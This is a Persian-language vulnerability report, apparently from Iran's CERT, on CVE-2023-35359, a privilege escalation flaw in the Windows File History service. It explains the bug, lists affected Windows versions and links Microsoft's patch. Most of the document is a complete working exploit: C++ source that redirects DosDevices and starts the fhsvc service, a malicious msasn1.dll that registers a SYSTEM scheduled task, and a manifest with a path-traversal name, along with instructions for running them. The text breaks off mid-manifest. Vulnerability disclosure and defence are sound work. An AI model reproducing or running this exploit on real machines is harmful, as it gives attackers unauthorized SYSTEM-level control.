
 

  

 ی تعالبسمه 
 

 

 معاونت امنیت فضای تولید و تبادل اطلاعات

 

 

 

 

 

سیبا استفاده از نقص سرویسطح دسترسشیافزا

ندوزیولیفاخچهیتار

 پذیری آسیب  تحلیل 

 

 

 یگزارش فن ..................................................................................................................... نوع سند 

 0.1 .......................................................................................................................... نگارش   هشمار

 1402/ 06/ 19 ........................................................................................................... خ نگارش یتار

 عادی    ............................................................................................................... سند  یبندطبقه

   267پلاک  -ریاحمد قص   ابانی مدرس و خ  دیبزرگراه شه  نیب  -یبهشت  دیشه  ابانی ختهران،   

 
88115724 (021 ) 

 
88115724 (021 ) 

 
cert.ir 



 

 

 
 فهرست مطالب

 

 1 ............................................................................................................................. ی ریپذبیشرح آس 1

 3 .................................................................................................................... شتر یب لیو تحل  اتییجز 2

 16........................................................................................................................... یتیامن یه هایتوص 3

 17 ......................................................................................................................................... منبع خبر 4

  



 1 افزایش سطح دسترسی با استفاده از نقص سرویس تاریخچه فایل ویندوز 

 عادی : یبندطبقه است. «مرکز ماهر »ن سند متعلق به ی ا  یو معنو یحقوق ماد هیکل

 پذیری شرح آسیب   1

م  را  یاخ  ندوزیو  ل یفا   خچه یتار  س ی در سرو  یر یپذب یآس   کی است که  برا  تواند ی کشف شده    ی توسط هکرها 

گزارش شده و    کروسافتی مشکل به ما  نی استفاده شود. ا  ی ندوزیو  ستم یس  ک ی در    یدسترس  ی ازها یامت   ش ی افزا

 اند.منتشر شده  یر یپذبی آس ن یرفع ا یلازم برا  یها پچ

طور خودکار اطلاعات موجود در  است که به   یابیو باز  یر یگبان یپشت   یژگیو  کی   ندوز یو  ی برا  لیفا   خچهیتار

امکان وجود دارد    نی ا  نی . همچنکندی م  یر یگبان ی را پشت  رهیمورد علاقه و غ  یها ها، دسکتاپ، پوشه کتابخانه

 شود. یر یگبان یهم پشت   سکی هارد د ا ی وی، فلش دراUSBمانند   یکه اطلاعات منابع خارج

 است.  دهی ثبت گرد CVE-2023-35359با شناسه  یر یپذ بیآس  نیا

  ات یعمل کرده و عمل  ی ستمیعنوان کاربر ساجازه دهد تا به   دی به عاملان تهد  تواندیم   یر یپذب یآس  ن یاز ا  استفاده

  ی ها ستم ی را در س  یت یامن   یمشکلات جد   یر یپذبی آس  نیانجام دهند. ا  ستم یناخواسته در س  راتییمخرب و تغ

 .کندی م  جادی ا د، حملات انتخاب شون ی عنوان هدف براکه ممکن است به  ی ندوزیو

سرو  یزمان م  لی فا   خچه یتار   س یکه  تابع     fhsvc.dllهسته    ل یفا   شود،یشروع  و 

CManagerThread::QueueBackupForLoggedOnUser  تابع    نی. اشودی م  یاست، بارگذار   ر یپذب یکه آس

 ی ر یپذب یآس   ن یا  یکه عامل اصل   کند یم  ی را بارگذار  fhcfg.dll  ل یو فا   کندیم  یسازه یکاربر وارد شده را شب 

 .باشدمی

دهد.    ر ییتغ  ز یرا ن  DosDevicesعلاوه  شروع کند و به   یدستصورت  را به   ل یفا   خچهی تار  تواند یم  ی کاربر عاد  کی

  csrss.exeو    شودیشامل م   ز یرا ن  "Manifest"  ا یمنظرنامه    ک ی ، منابع  fhcfg.dll  یهنگام بارگذار   ن، یعلاوه بر ا

 .کندی د می را تقل  یکاربر عاد ت یسرور( هو/یمشتر   ییاجرا  ستمیرسی)ز

از کد است که مشخص    یبخش  ا ی  یمتن  لیفا   کیمختلف،    یسینوبرنامه   یها زباندر    "Manifest"  ا ی  منظرنامه

به    ل یفا   ن یتعامل کند. ا  ی خارج  ی ها ستم یبا س  ا یخاص اجرا شود    ی طیدر مح   د ی برنامه با   ک ی چگونه    ، کندیم

خود را مشخص کنند    یمربوط به برنامه  یمترها و پارا   ها ی ازمندین  مات، ی که تنظ  دهد یدهندگان امکان متوسعه 

 ارتباط برقرار کند.   گر یبا منابع د ا ی اجرا شود   یتا برنامه به درست

  "manifest."با پسوند    ی متن  یها ل یصورت فا ها معمولا  به منظرنامه   ندوز،یو  یسینوو برنامه  ندوز ی و  یها ط یمح   در

 دارند. ر ی تاث ندوز یبرنامه توسط و یاجرا ند یو در فرآ شوندی م رهیذخ

  C:\Users\Public\testمثل    یتقلب  یرکتوریدا  کی دهد تا به    ر ییرا تغ   DosDevices  تواندی م  یکاربر عاد  کی

  ی باشد که برا   گر ید DLL  کی به    نکیل  کی  یحاو  دیبا   یتقلب  یرکتوری. داcsrss.exeاشاره کند، پس از آن به  

 . شودی استفاده م یدسترس یازها یامت  شی افزا



 2 پذیری آسیبتحلیل   

 عادی : یبندطبقه است. «مرکز ماهر»ن سند متعلق به ی ا  یو معنو یحقوق ماد هیکل

 مطرح شده است. ر یتحت تأث  محصولاتلیست   1در جدول  

 لیست محصولات تحت تاثیر -1 جدول

 نسخه تحت تاثیر سکو نام محصول 

Windows Server 2019 x64-     10.0.0  10.0.17763.4737  تا 

Windows 10 Version 1809 32-bit   , x64-  , ARM64-     10.0.0  10.0.17763.4737  تا 

Windows Server 2019 (Server Core installation) x64-     10.0.0  10.0.17763.4737  تا 

Windows Server 2022 x64-   
  10.0.20348.1906  تا  10.0.0  

 10.0.20348.1903  تا  10.0.0

Windows 11 version 21H2 x64-  , ARM64-     10.0.0  10.0.22000.2295  تا 

Windows 10 Version 21H2 32-bit   , ARM64-     10.0.0  10.0.19044.3324  تا 

Windows 11 version 22H2 ARM64-  , x64-     10.0.0  10.0.22621.2134  تا 

Windows 10 Version 22H2 x64-  , ARM64-  , 32-bit      10.0.0  10.0.19045.3324  تا 

Windows 10 Version 1507 32-bit   , x64-     10.0.0  10.0.10240.20107  تا 

Windows 10 Version 1607 32-bit   , x64-     10.0.0  10.0.14393.6167  تا 

Windows Server 2016 x64-     10.0.0  10.0.14393.6167  تا 

Windows Server 2016 (Server Core installation) x64-     10.0.0  10.0.14393.6167  تا 

Windows Server 2008 Service Pack 2 32-bit      6.0.0  6.0.6003.22216  تا 

Windows Server 2008 Service Pack 2 (Server 

Core installation) 
32-bit   , x64-     6.0.0  6.0.6003.22216  تا 

Windows Server 2008 Service Pack 2 x64-     6.0.0  6.0.6003.22216  تا 

Windows Server 2008 R2 Service Pack 1 x64-     6.1.0  6.1.7601.26664  تا 

Windows Server 2008 R2 Service Pack 1 (Server 

Core installation) 
x64-     6.0.0  6.1.7601.26664  تا 

Windows Server 2012 x64-     6.2.0  6.2.9200.24414  تا 

Windows Server 2012 (Server Core installation) x64-     6.2.0  6.2.9200.24414  تا 

Windows Server 2012 R2 x64-     6.3.0  6.3.9600.21503  تا 

Windows Server 2012 R2 (Server Core 

installation) 
x64-     6.3.0  6.3.9600.21503  تا 
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 عادی : یبندطبقه است. «مرکز ماهر »ن سند متعلق به ی ا  یو معنو یحقوق ماد هیکل

 جزییات و تحلیل بیشتر 2

  یی بالا  ازات یدهد تا امت  یاجازه م  ی به کاربران محل  ندوز یو  ل یفا   خچه ی تار  سیدر سرو  ی ر یپذ  ب یآس  ک ی :  خلاصه

 دست آورند. به  ندوزیعامل و ستمیرا در س 

از    یکی   ی ر یپذ  بیآس  ن یکند، ایکار م  SSD Secure Disclosureمستقل که با    یتی محقق امن  ک ی:  اعتبار

 بود. Windows PEدر رده  TyphoonPWN 2023 TyphoonConبرندگان 

 CVE-2023-35359 نام:

برا  یاصلاحات  فروشنده:  فروشنده  پاسخ است:    یر یپذب یآس  ن ی ا  ی را  کرده  ارائه 

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-35359 

 شود ی اجرا م  ستم یس  ازات یوجود دارد که به عنوان امت   ل یفا   خچه ی تار  س یدر سرو  یر یپذب یآس  ک ی:  یفن  لیتحل

   .ردیمورد سوء استفاده قرار گ  ستم یس ازات یبه امت ی ارتقاء از کاربران عاد ی برا تواندی و م

  ل یشود، فا ی شروع م سیکه سرو  یشود. هنگام  یانداز راه  یتواند توسط کاربران عادی م  ل یفا   خچه یتار  سیسرو

آسی م  یبارگذار   fhsvc.dll  یاصل عملکرد  سپس  و    ر ی پذب یشود 

CManagerThread::QueueBackupForLoggedOnUser  شود، ی م  اتابع اجر   نی که ا  ی خورد. هنگامی ضربه م

علت    ز یرفتار ن  نی . ا(1)شکل    کند ی م  ی بارگذار  fhcfg.dllفایل  و  کند  می   یسازه ی را شب  ی کاربر وارد شده فعل

 است.  یر یپذ بیآس ن یا  یاصل

 
 fhcfg.dllتصویری از دستورات برای بارگذاری فایل  -1شکل 

به   ی بارگذار  fhcfg.dll  یوقت موضوع  عادشد،  کاربر  م  ی فعل  یعنوان  منبع  ی اجرا    ی حاو  fhcfg.dllشود. 

  فست یمان  ل یموجود در فا   یها ی با توجه به وابستگ  DLL  ،csrss.exe  ی ر یآشکار است. پس از بارگ   یها یژگیو

  ی ر یبارگ  از ین  دمور  ی ها طور خودکار مجموعه کند تا بهی م  جادی فرض اش ی پ  یسازفعال   نهیزم   کی   ،(2)شکل  
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 عادی : یبندطبقه است. «مرکز ماهر»ن سند متعلق به ی ا  یو معنو یحقوق ماد هیکل

کاربر    کی   تیهو  ز ین  csrss.exe  نیاست، بنابرا  تیدر حالت جعل هو   ل یفا   خچه ی تار  سی رشته سرو  رایشود، ز

 کند. را جعل می  فستیمان  ل یبه فا  یدسترس یبرا یعاد

 
 های فایل مانیفستوابستگی -2شکل 

کند )مانند  ی اشاره م  ی جعل  ی رکتوریدا  ک ی دهد و به  ی م ر ییرا تغ  DosDevices  ی کاربر معمول  ک ی که    یهنگام

C:\Users\Public\test  سپس  ،)csrss.exe   دنبال   فست یمان  ل یفا   C:\Users\Public\testعنوان  به   :C  به 

شکل    گردد.یم تنظ   پس  3مانند  محتوا  ن،ی نماد  وندیپ  میاز  به  توجه  مانیفست    ستی ل  یبا  فایل 

fhcfg.dll.manifest  ،csrss.exe  دنبال  به
C:\Users\Public\test\Windows\WinSxS\Manifests\amd64_microsoft.windows.common-

controls_6595b64144ccf1df_6.0.22621.1635_none_270f70857386168efhcfg.dll.manifest  
 عامل متفاوت خواهد بود(.  ستم یس طی بسته به مح لیخواهد بود )نام فا 
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 عادی : یبندطبقه است. «مرکز ماهر »ن سند متعلق به ی ا  یو معنو یحقوق ماد هیکل

 
 جستجوی فایل مدنظر  -3شکل 

  م، یکن  یاز آن بهره بردار  میتوانی باز هم نم  م، یسیبنو  یجعل  فستیخود را در مان  یجعل   DLL  ر یمس  ما ی مستق  اگر 

  ی رکتور یدااین مسیر  خواهد بود، که    C:\Windows\WinSxS\Manifestsm  مسیر   شده از   ی ر یبارگ  dll  رایز

دسترسی و  کنترل  ن  فستی مان  ک ی به    ن یبنابرا  ،نیست  قابل  و   م یدار  از یدوم  به    را   ل یفا   یژگیو 

name=..\..\..\..\..\..\test\test  میدهی م  ر ییتغ  . 

  ی به جستجو  csrss.exe  فایل  ،باشد  name=..\..\..\..\..\..\test\testمقدار    یجعل  ست یل  لی فا   یژگیکه و  یهنگام

 . دهدی ادامه م  C:\Users\ Public\test\test\test.manifest فهرست فرمان دوم 

پس    س یسرو  ند یاضافه شود که فرآ  DLLنام    ک یلازم است    ن یهمچن   ،یر یپذبی آس  نی سوء استفاده از ا  یبرا

 .شود یر یبارگ test.manifest دوم  یدر فهرست جعل یسازفعال  نه ی زم افتن ی ان یاز پا 

فرض   شی طور پبه  ل یفا   خچه ی تار  س یدر شرف خروج است )سرو  لیفا  خچهیتار  س یسرو  یشد که وقت  مشخص 

  ار یبس  یبرداربهره  ی برا  msasn1.dllاست که    یه یشود، بدی م  یر یبارگ  msasn1.dllشود(،  ی اجرا م  ه یثان  30

 مناسب است. 

بساز  test.manifest  فستیمان  ک ی  اگر  نام    DLL  ک ی  و   می نادرست  اضافه    یوابستگعنوان  به   msasn1.dllبه 

  کند یم  یسع  شود،ی م  یر یبارگ  یسازفعال   نهیزم  جادی پس از ا  msasn1.dll  لیفا   خچه یتار  سیسرو  ی وقت  م، یکن

C:\test\msasn1.dll ایمکه آن را خودمان ساخته و  کندباز  را. 

نم  SeIncreaseQuotaPrivilege  از یامت  ن ی ا  ل یفا   خچهی تار  س یکه سرو  ییآنجا   از  ندارد،    ما  یمستق   میتوانی را 

ب   را   cmdپنجره   ا  م،یاوریبالا  اگر    SeImpersonatePrivilege  امتیاز   یدارا  سی سرو  نی اما  کار    ک ی است. 

شروع  فرض  ش ی پ  ازیبا امت   ستم یحساب س   م، یکن   شخص شروع م  ی برا  exe  ک ی و    م یشده اضافه کن  ی بندزمان 

 شود.یم
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 عادی : یبندطبقه است. «مرکز ماهر»ن سند متعلق به ی ا  یو معنو یحقوق ماد هیکل

  نکه یمشروط بر ا د،ی اجرا کنرا  تست   ی صورت تعاملبه   دی بتوان  د یو شما با   م یا، انجام دادهexpرا در    نها یهمه ا  ما 

 . دی صبر کن ه یثان 30

را در همان   manifest.manifest و  exe ،  msasn1.dll ،  test.manifestهای فایل   د یبا   ،یر یپذ  بیتست آس  یبرا

 . دی را اجرا کن  exeو سپس  دی قرار ده ی رکتوریدا

 شود: ی ظاهر م 4مانند شکل    ستمیس cmdانتظار،   ه یثان 30پس از   :ز یآم  ت یموفق جه ینت

 
 نتیجه موفقیت آمیز اجرا - 4شکل 

اگر    ر،یخ   ا یاست    رفعالیغ   ل یفا   خچه یتار  سیسرو  ا ی که آ  دی کن  یبررس  دیشود، با یظاهر نم   cmdشکست:    جه ینت

 فرض فعال است(.  ش ی طور پبه  سی )سرو ستیقابل سوء استفاده ن  ی ر یپذ بیآس  نی باشد، ا رفعال یغ سیسرو

 :در زیر آورده شده است exp.cppکد فایل  

#include <stdio.h> 

#include <windows.h> 

#include <iostream> 

#include <strsafe.h> 

#include <userenv.h> 

#include <winternl.h> 

#pragma comment(lib, "ntdll.lib") 

#pragma comment(lib, "Userenv.lib") 

#pragma warning(disable:4996) 

 

wchar_t FakeFileName1[MAX_PATH] = { 0 }; 

wchar_t FakeFileName2[MAX_PATH] = { 0 }; 

wchar_t manifestFileName[MAX_PATH] = { 0 }; 

 

HANDLE SymlinkHandle; 

wchar_t buffer[MAX_PATH] = { 0 }; 

 

#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) 

 

extern "C" int NTAPI NtCreateSymbolicLinkObject(OUT PHANDLE           

SymbolicLinkHandle, 

    IN ACCESS_MASK        DesiredAccess, 

    IN POBJECT_ATTRIBUTES ObjectAttributes, 
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    IN PUNICODE_STRING    TargetName); 

 

HANDLE nCreateSymbolicLink() { 

 

    HANDLE SymbolicLinkHandle = NULL; 

    UNICODE_STRING TargetObjectName = { 0 }; 

    OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; 

    UNICODE_STRING SymbolicLinkObjectName = { 0 }; 

 

    WCHAR path[MAX_PATH]{0}; 

    WCHAR path2[MAX_PATH]{ 0 }; 

    wcscat(path, L"\\??\\"); 

    wcscat(path, buffer); 

    wcscat(path2, L"\\GLOBAL??\\"); 

    wcscat(path2, buffer); 

    wcscat(path2, L"\\Users\\Public\\test"); 

 

    RtlInitUnicodeString(&SymbolicLinkObjectName, path); 

    RtlInitUnicodeString(&TargetObjectName, path2); 

    InitializeObjectAttributes(&ObjectAttributes, 

        &SymbolicLinkObjectName, 

        OBJ_CASE_INSENSITIVE, 

        NULL, 

        NULL); 

 

    int NtStatus = NtCreateSymbolicLinkObject(&SymbolicLinkHandle, 

        SYMBOLIC_LINK_ALL_ACCESS, 

        &ObjectAttributes, 

        &TargetObjectName); 

 

    if (NtStatus != 0) { 

        printf("[-] Failed to open object directory: 0x%X\n", NtStatus); 

    } 

    return SymbolicLinkHandle; 

} 

VOID exit_(); 

void RunCMD() 

{ 

    HANDLE ProcessHandle = NULL; 

    HANDLE CurrentToken = NULL; 

    HANDLE TokenDup = NULL; 

 

    ProcessHandle = GetCurrentProcess(); 

    if (!OpenProcessToken(ProcessHandle, TOKEN_ALL_ACCESS, 

&CurrentToken)) 

    { 

        return; 

    } 

    if (!DuplicateTokenEx(CurrentToken, MAXIMUM_ALLOWED, NULL, 

SecurityIdentification, TokenPrimary, &TokenDup)) 

    { 

        return; 

    } 

    DWORD dwSessionID = 1; 

    if (!SetTokenInformation(TokenDup, TokenSessionId, &dwSessionID, 

sizeof(DWORD))) 

    { 

        return; 

    } 
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    STARTUPINFO si; 

    PROCESS_INFORMATION pi; 

    ZeroMemory(&si, sizeof(STARTUPINFO)); 

    ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); 

    si.cb = sizeof(STARTUPINFO); 

    si.lpDesktop = (LPWSTR)L"WinSta0\\Default"; 

 

    LPVOID pEnv = NULL; 

    DWORD dwCreationFlags = NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE | 

CREATE_UNICODE_ENVIRONMENT; 

    if (!CreateEnvironmentBlock(&pEnv, TokenDup, FALSE)) 

    { 

        return; 

    } 

 

    wchar_t cmdpath[MAX_PATH] = { 0 }; 

    wchar_t WinPath[MAX_PATH] = { 0 }; 

 

    if (!GetEnvironmentVariableW(L"SYSTEMROOT", WinPath, MAX_PATH)) 

    { 

        return; 

    } 

 

    wcscat(cmdpath, WinPath); 

    wcscat(cmdpath, L"\\system32\\cmd.exe"); 

 

    if (!CreateProcessAsUserW(TokenDup, cmdpath, (LPWSTR)L" /k cd 

..\\..\\..\\..", NULL, NULL, FALSE, dwCreationFlags, pEnv, NULL, &si, 

&pi)) 

    { 

        return; 

    } 

} 

 

void TraverseDirectory(wchar_t Dir[MAX_PATH]) 

{ 

    WIN32_FIND_DATA FindFileData; 

    HANDLE hFind = INVALID_HANDLE_VALUE; 

    wchar_t DirSpec[MAX_PATH]{0}; 

    DWORD dwError; 

    StringCchCopy(DirSpec, MAX_PATH, Dir); 

    StringCchCat(DirSpec, MAX_PATH, TEXT("\\*")); 

 

    hFind = FindFirstFile(DirSpec, &FindFileData); 

 

    if (hFind == INVALID_HANDLE_VALUE) 

    { 

        FindClose(hFind); 

    } 

    else 

    { 

        while (FindNextFile(hFind, &FindFileData) != 0) 

        { 

            if ((FindFileData.dwFileAttributes & 

FILE_ATTRIBUTE_DIRECTORY) != 0 && wcscmp(FindFileData.cFileName, L".") == 

0 || wcscmp(FindFileData.cFileName, L"..") == 0) 

            { 

                continue; 

            } 
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            if ((FindFileData.dwFileAttributes & 

FILE_ATTRIBUTE_DIRECTORY) != 0) 

            { 

 

                wchar_t DirAdd[MAX_PATH]{0}; 

                StringCchCopy(DirAdd, MAX_PATH, Dir); 

                StringCchCat(DirAdd, MAX_PATH, TEXT("\\")); 

                StringCchCat(DirAdd, MAX_PATH, FindFileData.cFileName); 

                TraverseDirectory(DirAdd); 

                RemoveDirectoryW(DirAdd); 

            } 

            else 

            { 

                WCHAR path[1000] = { 0 }; 

                wcscpy(path, Dir); 

                wcscat(path, L"\\"); 

                wcscat(path, FindFileData.cFileName); 

                DeleteFile(path); 

 

            } 

        } 

        FindClose(hFind); 

    } 

 

    return; 

} 

 

BOOL findfile(wchar_t Dir[MAX_PATH]) 

{ 

    WIN32_FIND_DATA FindFileData; 

    HANDLE hFind = INVALID_HANDLE_VALUE; 

    wchar_t DirSpec[MAX_PATH]{0}; 

    DWORD dwError; 

    StringCchCopy(DirSpec, MAX_PATH, Dir); 

    StringCchCat(DirSpec, MAX_PATH, TEXT("\\*")); 

 

    hFind = FindFirstFile(DirSpec, &FindFileData); 

 

    if (hFind == INVALID_HANDLE_VALUE) 

    { 

        FindClose(hFind); 

    } 

    else 

    { 

        while (FindNextFile(hFind, &FindFileData) != 0) 

        { 

            if ((FindFileData.dwFileAttributes & 

FILE_ATTRIBUTE_DIRECTORY) != 0 

                && wcscmp(FindFileData.cFileName, L".") == 0 || 

wcscmp(FindFileData.cFileName, L"..") == 0) 

            { 

                continue; 

            } 

            if ((FindFileData.dwFileAttributes & 

FILE_ATTRIBUTE_DIRECTORY) != 0) 

            { 

                continue; 

            } 
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            if 

((wcsstr(FindFileData.cFileName,L"amd64_microsoft.windows.common-

controls_6595b64144ccf1df_6.0."))) 

            { 

                wcscat(manifestFileName, FindFileData.cFileName); 

                return TRUE; 

            } 

        } 

        FindClose(hFind); 

    } 

 

    return NULL; 

} 

 

VOID CreatetestFile() { 

 

    wchar_t FakeFileName3[MAX_PATH]{ 0 }; 

    wchar_t FakeFileName4[MAX_PATH]{ 0 }; 

    wchar_t FakeFileName5[MAX_PATH]{ 0 }; 

    wchar_t FakeFileName6[MAX_PATH]{ 0 }; 

    wchar_t FakeFileName7[MAX_PATH]{ 0 }; 

 

    if (!GetEnvironmentVariableW(L"SYSTEMDRIVE", buffer, MAX_PATH)) 

    { 

        printf("[-] GetEnvironmentVariableW SYSTEMDRIVE Error\n"); 

        exit(-1); 

    } 

 

    printf("[+] GetEnvironmentVariableW SYSTEMDRIVE ok\n"); 

 

    wcscat(FakeFileName1, buffer); 

    wcscat(FakeFileName1, L"\\Users\\Public\\test"); 

 

    wcscat(FakeFileName2, buffer); 

    wcscat(FakeFileName2, L"\\test"); 

 

 

    TraverseDirectory(FakeFileName1); 

    RemoveDirectoryW(FakeFileName1); 

    TraverseDirectory(FakeFileName2); 

    RemoveDirectoryW(FakeFileName2); 

 

    int ret = CreateDirectoryW(FakeFileName2, 0); 

 

    if (!ret) 

    { 

        printf("[-] CreateDirectoryW %S\n", FakeFileName2); 

        exit_(); 

    } 

 

    printf("[+] CreateDirectoryW %S ok\n", FakeFileName2); 

 

    ret = CreateDirectoryW(FakeFileName1, 0); 

    if (!ret) 

    { 

        printf("[-] CreateDirectoryW %S\n", FakeFileName1); 

        exit_(); 

    } 

    printf("[+] CreateDirectoryW %S ok\n", FakeFileName1); 
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    wcscat(FakeFileName3, FakeFileName1); 

    wcscat(FakeFileName3, L"\\Windows"); 

 

    ret = CreateDirectoryW(FakeFileName3, 0); 

    if (!ret) 

    { 

        printf("[-] CreateDirectoryW %S\n", FakeFileName3); 

        exit_(); 

    } 

    printf("[+] CreateDirectoryW %S ok\n", FakeFileName3); 

 

    wcscat(FakeFileName3, L"\\System32"); 

    ret = CreateDirectoryW(FakeFileName3, 0); 

    if (!ret) 

    { 

        printf("[-] CreateDirectoryW %S\n", FakeFileName3); 

        exit_(); 

    } 

    printf("[+] CreateDirectoryW %S ok\n", FakeFileName3); 

 

    wcscat(FakeFileName3, L"\\fhcfg.dll"); 

 

    HANDLE hFILE3 = CreateFileW(FakeFileName3, 

        GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 

NULL); 

    if (hFILE3 == INVALID_HANDLE_VALUE) 

    { 

        printf("[-] CreateFileW %S\n", FakeFileName3); 

        exit_(); 

    } 

 

    printf("[+] CreateFileW %S ok\n", FakeFileName3); 

    CloseHandle(hFILE3); 

 

    wcscat(FakeFileName4, FakeFileName1); 

    WCHAR szModule[MAX_PATH]{0}; 

    GetModuleFileNameW(NULL, szModule, MAX_PATH); 

    wcscat(FakeFileName4, L"\\test.exe"); 

 

    ret = CopyFileW(szModule, FakeFileName4, FALSE); 

 

    if (!ret) 

    { 

        printf("[-] CopyFileW %S\n", FakeFileName4); 

        exit_(); 

    } 

    printf("[+] CopyFileW ok %S\n", FakeFileName4); 

 

    wcscat(FakeFileName5, FakeFileName1); 

    wcscat(FakeFileName5, L"\\test"); 

 

    ret = CreateDirectoryW(FakeFileName5, 0); 

    if (!ret) 

    { 

        printf("[-] CreateDirectoryW %S\n", FakeFileName5); 

        exit_(); 

    } 

    printf("[+] CreateDirectoryW %S ok\n", FakeFileName5); 

    wcscat(FakeFileName5, L"\\test.manifest"); 
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    ret = CopyFileW(L"test.manifest", FakeFileName5, FALSE); 

    if (!ret) 

    { 

        printf("[-] CopyFileW %S\n", FakeFileName5); 

        exit_(); 

    } 

    printf("[+] CopyFileW ok %S\n", FakeFileName5); 

    wcscat(FakeFileName6, buffer); 

    wcscat(FakeFileName6, L"\\Windows\\WinSxS\\Manifests"); 

 

    

 

    if (!findfile(FakeFileName6)) 

    { 

        printf("[-] findfile %S\n", FakeFileName6); 

        exit_(); 

    } 

    printf("[+] findfile %S ok\n", FakeFileName6); 

 

    memset(FakeFileName6, 0, MAX_PATH * 2); 

    wcscat(FakeFileName6, FakeFileName1); 

    wcscat(FakeFileName6, L"\\Windows\\WinSxS"); 

 

    ret = CreateDirectoryW(FakeFileName6, 0); 

    if (!ret) 

    { 

        printf("[-] CreateDirectoryW %S\n", FakeFileName6); 

        exit_(); 

    } 

    printf("[+] CreateDirectoryW %S ok\n", FakeFileName6); 

 

    wcscat(FakeFileName6, L"\\Manifests"); 

 

    ret = CreateDirectoryW(FakeFileName6, 0); 

    if (!ret) 

    { 

        printf("[-] CreateDirectoryW %S\n", FakeFileName6); 

        exit_(); 

    } 

    printf("[+] CreateDirectoryW %S ok\n", FakeFileName6); 

 

 

    wcscat(FakeFileName6, L"\\"); 

    wcscat(FakeFileName6, manifestFileName); 

 

    ret = CopyFileW(L"manifest.manifest", FakeFileName6, FALSE); 

    if (!ret) 

    { 

        printf("[-] CopyFileW %S\n", FakeFileName6); 

        exit_(); 

    } 

    printf("[+] CopyFileW ok %S\n", FakeFileName6); 

 

    wcscat(FakeFileName7, FakeFileName2); 

    wcscat(FakeFileName7, L"\\msasn1.dll"); 

 

    ret = CopyFileW(L"msasn1.dll", FakeFileName7, FALSE); 

    if (!ret) 
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    { 

        printf("[-] CopyFileW %S\n", FakeFileName7); 

        exit_(); 

    } 

    printf("[+] CopyFileW ok %S\n", FakeFileName7); 

} 

 

VOID exit_() { 

 

    CloseHandle(SymlinkHandle); 

    TraverseDirectory(FakeFileName1); 

    RemoveDirectoryW(FakeFileName1); 

    TraverseDirectory(FakeFileName2); 

    RemoveDirectoryW(FakeFileName2); 

    exit(-1); 

} 

 

VOID th() { 

    Sleep(40000); 

    printf("[-] Time exceeded, exploit failed"); 

    exit_(); 

} 

int main(int argc, char** argv) 

{ 

    HANDLE handle = OpenEventW(MAXIMUM_ALLOWED, 0, 

L"Global\\TyphoonPWN"); 

    if (handle) { 

        RunCMD(); 

        system("\"schtasks \/delete \/tn \\Test1 \/f\""); 

        CreateFileW(L"\\\\.\\Pipe\\TyphoonPWN", GENERIC_READ | 

GENERIC_WRITE, 0, 

            NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 

        exit(-1); 

    } 

    else 

    { 

 

        CreatetestFile(); 

 

        SymlinkHandle = nCreateSymbolicLink(); 

 

        if (SymlinkHandle == INVALID_HANDLE_VALUE) { 

            printf("[!] CreateSymbolicLink error %d\n", GetLastError()); 

            return  1; 

        } 

        printf("[+] CreateSymbolicLink ok \n"); 

 

        CreateEventW(0, 0, 0, L"Global\\TyphoonPWN"); 

 

        SC_HANDLE scmHandle = OpenSCManager(NULL, NULL, MAXIMUM_ALLOWED); 

        if (!scmHandle) 

 

        { 

            printf("[-] Failed to open SCM: %d\n", GetLastError()); 

            exit_(); 

        } 

        printf("[+] OpenSCManager ok\n"); 
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        SC_HANDLE serviceHandle = OpenServiceW(scmHandle, L"fhsvc", 

MAXIMUM_ALLOWED); 

        if (!serviceHandle) 

 

        { 

            printf("[-] Failed to open service: %d\n", GetLastError()); 

            exit_(); 

        } 

 

        printf("[+] OpenServiceW ok\n"); 

 

        if (!StartService(serviceHandle, 0, NULL)) 

 

        { 

            printf("[-] Failed to start service: %d\n", GetLastError()); 

            exit_(); 

        } 

        printf("[+] StartService ok\n"); 

 

        Sleep(3000); 

        CloseHandle(SymlinkHandle); 

 

        HANDLE hPipe = CreateNamedPipe(L"\\\\.\\Pipe\\TyphoonPWN", 

PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT 

            , PIPE_UNLIMITED_INSTANCES, 0, 0, NMPWAIT_WAIT_FOREVER, 0); 

        if (hPipe) 

        { 

            printf("[+] CreateNamedPipe\n"); 

        } 

        else 

        { 

            printf("[-] CreateNamedPipe error %x\n", GetLastError()); 

            exit_(); 

        } 

 

        CreateThread(0, 0, (LPTHREAD_START_ROUTINE)th, 0, 0, 0); 

 

        printf("[!] Wait for the exploit to succeed .......\n"); 

 

        if (ConnectNamedPipe(hPipe, NULL) != NULL) 

        { 

            printf("[+] The exploit was successful\n"); 

            Sleep(100); 

            exit_(); 

 

        } 

    } 

 

    return 0; 

} 

 

 باید به صورت زیر نوشته شود:  msasn1.dllفایل 

#include"pch.h" 

#include <stdio.h> 

#include <windows.h> 

#include <iostream> 
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#include <strsafe.h> 

#include <userenv.h> 

#include <winternl.h> 

#pragma comment(lib, "ntdll.lib") 

#pragma comment(lib, "Userenv.lib") 

#pragma warning(disable:4996) 

 

 

BOOL APIENTRY DllMain(HMODULE hModule, 

    DWORD  ul_reason_for_call, 

    LPVOID lpReserved 

) 

{ 

    switch (ul_reason_for_call) 

    { 

    case DLL_PROCESS_ATTACH: 

 

        char  cmd[1000] = { 0 }; 

        strcat(cmd, "\"schtasks \/create \/sc minute \/mo 20 \/tn 

\"Test1\" \/tr "); 

 

        char output[256]; 

        WCHAR buffer[256]; 

        if (!GetEnvironmentVariableW(L"SYSTEMDRIVE", buffer, MAX_PATH)) 

        { 

            exit(-1); 

        } 

        wcscat(buffer, L"\\Users\\Public\\test\\test.exe"); 

        sprintf(output, "%ws", buffer); 

        strcat(cmd, output); 

        strcat(cmd, " \/ru SYSTEM \/RL HIGHEST\""); 

        system(cmd); 

        system("\"schtasks \/run \/tn \\Test1\""); 

        exit(-1); 

        break; 

 

    } 

    return TRUE; 

 

} 

 شود:به صورت زیر نوشته می  test.manifestفایل 

<assembly 

  xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> 

  <assemblyIdentity 

      name='..\..\..\..\..\..\test\test'  

      version='6.0.0.0' 

      processorArchitecture='amd64' 

      publicKeyToken='6595b64144ccf1df' 

      type='win32'/> 

  <file name='msasn1.dll'/> 

